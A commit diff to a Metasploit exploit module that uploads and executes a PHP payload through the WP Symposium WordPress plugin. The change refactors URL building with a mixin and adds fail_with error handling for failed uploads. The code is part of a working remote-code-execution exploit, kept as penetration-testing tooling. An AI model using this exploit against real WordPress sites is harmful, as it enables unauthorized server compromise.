Tidied up some code with existing mixins

Author: rastating

modules/exploits/unix/webapp/wp_symposium_shell_upload.rb

@@ -59,9 +59,9 @@ def generate_mime_message(payload, payload_name, directory_name, symposium_url)
 
   def exploit
     print_status("#{peer} - Preparing payload")
-    unique_name = "#{Rex::Text.rand_text_alpha(10)}"
+    unique_name = Rex::Text.rand_text_alpha(10)
     payload_name = "#{unique_name}.php"
-    symposium_url = normalize_uri(target_uri, wp_content_dir, 'plugins', 'wp-symposium', 'server', 'php')
+    symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
     payload_url = normalize_uri(symposium_url, unique_name, payload_name)
     data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
     symposium_url = normalize_uri(symposium_url, 'index.php')
@@ -84,9 +84,13 @@ def exploit
       }, 5)
       print_good("#{peer} - Executed payload")
     else
-      print_error("#{peer} - Failed to upload the payload")
-      vprint_error("#{peer} - HTTP Status: #{res.code}")
-      vprint_error("#{peer} - Server returned: #{res.body}")
+      if res.nil?
+        fail_with(Failure::Unreachable, "No response from the target")
+      else
+        vprint_error("#{peer} - HTTP Status: #{res.code}")
+        vprint_error("#{peer} - Server returned: #{res.body}")
+        fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
+      end
     end
   end
 end